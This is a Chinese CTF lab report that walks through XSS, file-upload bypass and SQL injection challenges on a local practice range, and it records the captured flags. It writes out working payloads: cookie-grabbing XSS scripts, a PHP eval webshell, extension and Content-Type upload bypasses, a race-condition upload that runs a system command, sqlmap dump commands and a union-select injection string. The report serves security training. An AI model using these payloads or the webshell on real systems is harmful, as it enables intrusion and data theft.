CTF靶场
CTF靶场测试报告
一.跨站脚本攻击(XSS)
实验原理:跨站脚本攻击( Cross Site Script),本来的缩写应为CSS,但是为了与层叠样式表(Cascading Style CSS)区分,所以在安全领域中叫XSS。
XSS攻击,通常指攻击者通过“HTML注入”篡改网页并插入恶意的脚本,在其他用户浏览此网页时控制用户浏览器的一种攻击,它是一种针对网站应用程序的安全漏洞攻击技术,也是代码注入的一种。这种攻击在起初的演示案例上是跨域的,所以被叫做“跨站脚本”。恶意的攻击者利用XSS攻击可以得到私密网页内容、回话、cookie甚至得到很高的权限等。
XSS根据效果的不同可以分成如下几类:
(1)第一种类型:反射型XSS
反射型XSS 只是简单的把用户输入的数据“反射”给浏览器,攻击者往往需要诱导目标用户去打开一个恶意的链接才能成功的发起攻击。 攻击方式攻击者首先将包含XSS代码的恶意链接通过电子邮件等方式发送给目标用户,只要目标用户访问该链接,服务器便会接受该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本之后就会触发XSS漏洞,从而达到攻击者的目的。 反射型XSS也叫做“非持久型XSS (Non-persistent XSS)”,这种攻击方式往往具有一次性。
(2)第二种类型:存储型XSS
存储型xSS会将恶意攻击脚本永久的存放在目标服务器或者文件中。这种xsS具有很强的稳定性,也叫作“存储型XSS”。
攻击方式此攻击常见于博客,论坛等。攻击者写下包含恶意代码的文章或者评论,当
文章或者评论发表后恶意代码便会连同正常信息一起被服务器存储下来,当其他的用户访问包含了恶意代码的文章或者留言板时,恶意脚本就会在他们的浏览器中执行,从而达到攻击者的目的。存储型XSS通常也叫作“持久型XSS”(Persistent XsS),它存在的时间是比较长的。
(3)第三种类型:DOM型XSS
DOM(Document Object Model)型 XSS是一种特殊的反射型XSs,它是基于DOM文档对象模型的一种漏洞,使用DOM可以使程序和脚本能够动态的更新和访问文档的内容、结构以及样式,通过修改页面的DOM节点形成的XSS称之为DOM型 XSS。
HTML的标签都是节点,而这些节点组成了DOM的整体结构——节点树。通过 HTMLDOM,树中的所有节点均可通过javaScript进行访问。所有HTML节点均可以被修改,也可以创建或删除节点。
在网站页面中有许多元素,当页面到达浏览器时,浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和时间。可以通过JS脚本对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。忧郁 DOM实在客户端修改节点的,所以基于DOM型的漏洞不需要与服务端进行交互,它只发生在客户端处理数据的阶段。
攻击方式:攻击者提交一个精心设计而且包含XSS代码的URL,当用户请求这个URL,服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS的代码,导致存在XSS漏洞。
- 启动浏览器输入链接打开CFT靶场,选择菜单栏挑战,如下图所示:
1.选择XSS-反射型XSS,进入题目
思路:首先看到有注入点,输入命令:<script>alert(document.cookie)</script>
,进行测试,点击提交,下图所示:
提交后页面输出位子原样输出说明我们写的<script>alert(document.cookie)</script>
,语句未被浏览器所执行,此时我们点击鼠标右键查看网页源代码,如下图所示:
观察网页源代码我们刚刚写入的<script>alert(document.cookie)</script>
,观察被当成文字执行了,所以网页会原样输出,此时我们首先要闭合前面的input语句,输入"><script>alert(document.cookie)</script>
,"> 的作用是提前闭合input语句,然后再执行我们写的script语句,如下图所示:
输出"><script>alert(document.cookie)</script>
,点击提交,如下图所示:
此时我们成功得到了这题的flag了!将flag复制到HackBar里面进行编码,如下图所示:flag{el_Sh6nvMF7jIAbn}
2.选择XSS-存储型XSS,进入题目
思路:此时我们同样输入<script>alert(document.cookie)</script>
,或者还可以输入<img src=x onerror=alert(document.cookie)>
,这两句语句都可以进行测试,发现语句都可以被执行了,如下图所示:
此时我们成功得到了这题的flag了!将flag复制到HackBar里面进行编码,如下图所示:flag=flag{el_hJPwFl0fT1GJV}
3.选择XSS-DOM型XSS,进入题目
思路:这题有彩蛋直接F12进入开发者模式,查看Application的Cookies发现flag就在里面藏着在,如下图所示:flag{el_Y7yMJE7BcfhBk}
二.文件上传漏洞
实验原理:文件上传是互联网应用中的一个常用功能,例如上传一张图片;上传一段视频;论坛发帖附带附件等等。
上传文件时,如果服务端没有对代码进行严格的验证以及过滤,就容易造成允许上传任意文件的情况,“文件上传”本身没有问题,但是问题在于文件上传后,服务器怎么处理、解释此文件。若上传文件是web脚本语言,服务器的web容器会解释并执行用户上传的脚本,导致代码的执行,恶意的脚本文件会控制整个网站,甚至控制服务器。若上传的是病毒,木马文件,黑客用以诱骗用户或者管理员下载执行。上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
大多数情况下,文件上传漏洞一般都是指“上传 Web脚本能够被服务器解析”的问题,也就是通常所说的 webshell的问题。要完成这个攻击,要满足如下几个条件。
首先,上传的文件能够被Web容器解释执行。所以文件上传后所在的目录要是 web容器所覆盖到对的路径。
其次,用户能够从web上访问这个文件。如果文件上传了,但用户无法通过web访问,或者无法使得web容器解释这个脚本,那么也不能称之为漏洞。
最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。
1.选择文件上传-JS绕过,进入题目
进入题目,观察网页有一个上传文件的地方,如下图所示:
思路:我们先创建记事本构造一个一句话木马语句:<?php @eval($_POST['zsz']);?>
,如下图所示:
保存到本地主机后,修改后缀名为.php文件,然后进行网页上传我们刚刚创建的muma.php一句话木马,上传的时候发现被前端拦截了,如下图所示:
此时我们按F12打开浏览器开发者模式,将javaScript功能关闭,如下图所示:
接下来我们再次进行上传muma.php文件,如下图所示:
此时发现已经可以上传了,点击submit按钮上传,如下图所示:
上传成功了,我们获取到了刚刚我们上传的muma.php的路径,接下来我们使用中国蚁剑进行里链接,如下图所示:
数据添加成功后,双击添加的数据入侵到服务器中,如下图所示:
此时我们已经成功入侵到了目标服务器了,接下来我们需要找到flag的藏身之处,经过查找发现flag了,如下图所示:
最后flag成功拿下,如下图所示:flag{el_sSsJUsCznNJ8o}
2.选择文件上传-文件类型绕过1,进入题目
思路:首先测试muma.php文件是否可以正常上传,发现被拦截不允许上传该格式的文件,如下图所示:
此时我们使用另外一种Burp Suite professional 工具,设置浏览器代理模式,用Burp Suite professional进行抓包重构发送的数据包,如下图所示:
接下来右键鼠标发送到Repeater模块,将数据包中Content-Type:修改为 image/jpeg进行绕过,如下如所示:
上传成功了,我们获取到了刚刚我们上传的muma.php的路径,接下来我们使用中国蚁剑进行里链接,如下图所示:
数据添加成功后,双击添加的数据入侵到服务器中,如下图所示:
进入终端后,输入命令:cat ../../../../flag,可以查看flag,如下图所示:flag{el_4vUiULbIISkA0}
3.选择文件上传-文件类型绕过,进入题目
思路:进入题目后发现有一个上传点,首先先上传muma.php测试一下,如下图所示:
点击上传发现提示不允许上传.asp,.aspx,.php,.jsp后缀文件!,如下图所示:
此时我们使用Burp Suite professional 工具,设置浏览器代理模式,用Burp Suite professional进行抓包重构发送的数据包,如下图所示:
上传成功了,我们获取到了刚刚我们上传的muma.phtml的路径,接下来我们使用中国蚁剑进行里链接,如下图所示:
数据添加成功后,双击添加的数据入侵到服务器中,如下图所示:
右键在此打开终端,如下图所示:
进入终端后,输入命令:cat ../../../../flag,可以查看flag,此题因为题目配置问题服务器中无flag,如下图所示:答案:flag{el_zAI4gHiRONOcy}
4.选择文件上传-文件后缀绕过,进入题目
思路:首先测试muma.php文件是否可以正常上传,发现被拦截不允许上传该格式的文件,如下图所示:
上传文件后页面返回不允许的后缀名,如下图所示:
此时我们使用Burp Suite professional 工具,设置浏览器代理模式,用Burp Suite professional进行抓包重构发送的数据包,如下图所示:
接下来右键鼠标发送到Repeater模块,将数据包中文件后缀进行修改为 muma.php.phtml进行绕过,如下如所示:
上传成功了,我们获取到了刚刚我们上传的muma.php.phtml的路径,接下来我们使用中国蚁剑进行里链接,如下图所示:
数据添加成功后,双击添加的数据入侵到服务器中,如下图所示:
右键进入终端,输入命令:cat ../../../../flag,可以查看flag,如下图所示:flag{el_H5MGyqiz31Xey}
5.选择文件上传-竞争条件,进入题目
思路:首先测试muma.php文件是否可以正常上传,发现上传过程很慢,并且显示上传成功且有路径,如下图所示:
接下来通过中国蚁剑连接,发现连接不上,说明服务器将我们刚刚上传的文件已经删除了,如下图所示:
此时我们通过条件竞争原理进行渗透,我们使用Burp Suite professional 工具,设置浏览器代理模式,用Burp Suite professional进行抓包进行重放攻击,同时使用浏览器访问刚刚的路径产生条件竞争再次使用Burp Suite professional进行抓包进行重放攻击,如下图所示:
首先设置上传包将文件内容修改为:
<?php
echo "upload success!\n";
system("cat ../../../../flag");
?>
同时我们设置访问包,如下图所示:
最后先发送上传包的同时立刻发送请求包,就可以实现条件竞争,从而获取flag,如下图所示:flag{el_PnaSoaWmWuFiS}
三.SQL注入攻击基础
实验原理:注入攻击是web安全领域中一种最为常见的攻击方式。注入攻击的本质是把用户输入的数据当做代码执行。这里有两个关键的条件,第一个是用户能够控制数据的输入;第二个是原本程序要执行的代码,拼接了用户输入的数据。
SQL注入就是指Web应用程序对用户输入数据的合法性没有进行判断,从而攻击者从前端传入到后端的参数是攻击者可控制的,这些参数会带入数据库查询,所以攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
以如下PHP语句为例:
$query = "SELECT* FROM users WHERE id = $_GET['id']";
当传入的ID参数为1时,数据库执行的代码如下所示:
SELECT*FROM users WHERE id = 1
当传入的ID参数为1 and 1=1,数据库执行的代码如下所示:
SELECT*FROM users WHERE id = 1 and 1=1
当传入的ID参数为攻击者精心准备的代码时,数据库便会执行这些代码从而达到了攻击者的某些目的。
SQL注入漏洞产生需要满足以下两个条件:
(1)参数用户可控:前端传给后端的参数内容是用户可以控制的
(2)参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
在SQL注入的过程中,如果网站的 Web服务器开启了错误回显,则会为攻击者提供极大的便利,比如攻击者在参数中输入一个单引号“ ' ”,引起执行查询语句的语法错误,服务器直接返回了错误信息。
SQLMap是一款命令行界面开源的渗透测试工具(自动化 sql注入),sqlmap可以自动化地侦测和实施SQL注入攻击以及渗透数据库服务器。sqlmap 配有强大的侦测引擎,适用于高级渗透测试用户,不仅可以获得不同数据库的指纹信息,还可以从数据库中提取数据,此外还能够处理潜在的文件系统以及通过数据连接执行系统命令。
SQLMap支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,MicrosoftAccess,IBM DB2,SQLite, Firebird,Sybase和SAPMaxDB等数据库的各种安全漏洞检测。
SQLMap采用以下五种独特的SQL注入技术。
(1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
(2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
(3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
(4)联合查询注入,可以使用union的情况下的注入。
(5)堆查询注入,可以同时执行多条语句的执行时的注入。
1.选择SQL注入-union注入,进入题目
Sqlmap使用步骤:
(1)首先判断是否存在注入点:
命令:sqlmap -u http://127.0.0.1:22171/?id=1
(2)确认存在注入点之后,使用--dbs命令枚举当前用户下的所有数据库,如当前用户有权限读取所有数据库列表信息的表,使用该命令就可以列出所有数据库,如下图所示:
命令:sqlmap -u http://127.0.0.1:22171/?id=1 --dbs
(3)使用--current-db获取当前web应用所连接的数据库,从图中可以得知当前Web应用连接的数据库为test,如下图所示:
命令:sqlmap -u http://127.0.0.1:22171/?id=1 --current-db
(4)得知数据库为test之后,继续进行注入,使用-D参数和--tables参数查询数据库test中给所有表名,-D参数用来指定某一个具体的数据库,命令如下,结果如图13-3-11所示,从图中可以得知 test 数据库中有三个表名。(如果不使用-D参数指定某个具体的数据库,那么就会列出数据库中所有的表),如下图所示:
(5)得知表名之后继续注入使用-D参数、-T参数和--columns获取指定数据库中指定表中的字段名,-D参数用于指定一个具体数据库,-T参数用于指定一个具体的表,如下图所示:
命令:sqlmap -u http://127.0.0.1:22171/?id=1 -D test –T flag --columns
(6) 得知字段名之后继续注入使用-D参数、-T参数、-C参数和--dump获取指定字段中的具体数据,-D参数用于指定一个具体数据库,-T参数用于指定一个具体的表,-C参数用于指定具体的字段,命令如下。(如果不使用-c参数指定字段,那么就会列出数据库中所有的字段值),如下图所示:
命令:sqlmap -u http://127.0.0.1:22171/?id=1 -D test –T flag -C flag --dump
此时我们就成功得到了flag:flag{el_MqZG5mRXXiSYg}
接下来:
boolean注入(flag{el_AUSuaYQLcxXkT}
);
时间注入(flag{el_O5QWWhz9QmNHb}
);
堆叠注入(flag{el_ofFOxDdOfsaaK}
);
cookie注入(flag{el_dmycZJRSWN77g}
);
bash64注入(flag{el_uItls8C02hDPV}
);
操作步骤一样,此处因为个人时间原因就不一一操作了。
2.选择sql注入-二次注入,进入题目
思路:打开注册页面,在源URL后添加 ' union select 1,2,(select flag from test.flag) --+
,获取新的注册id:54,如下图所示:
然后将获取的新id:54,到获取数据页面修改id=54,如下图所示:
此时我们就成功获取到了二次注入的flag了,flag{Qye43YcL1H7ex}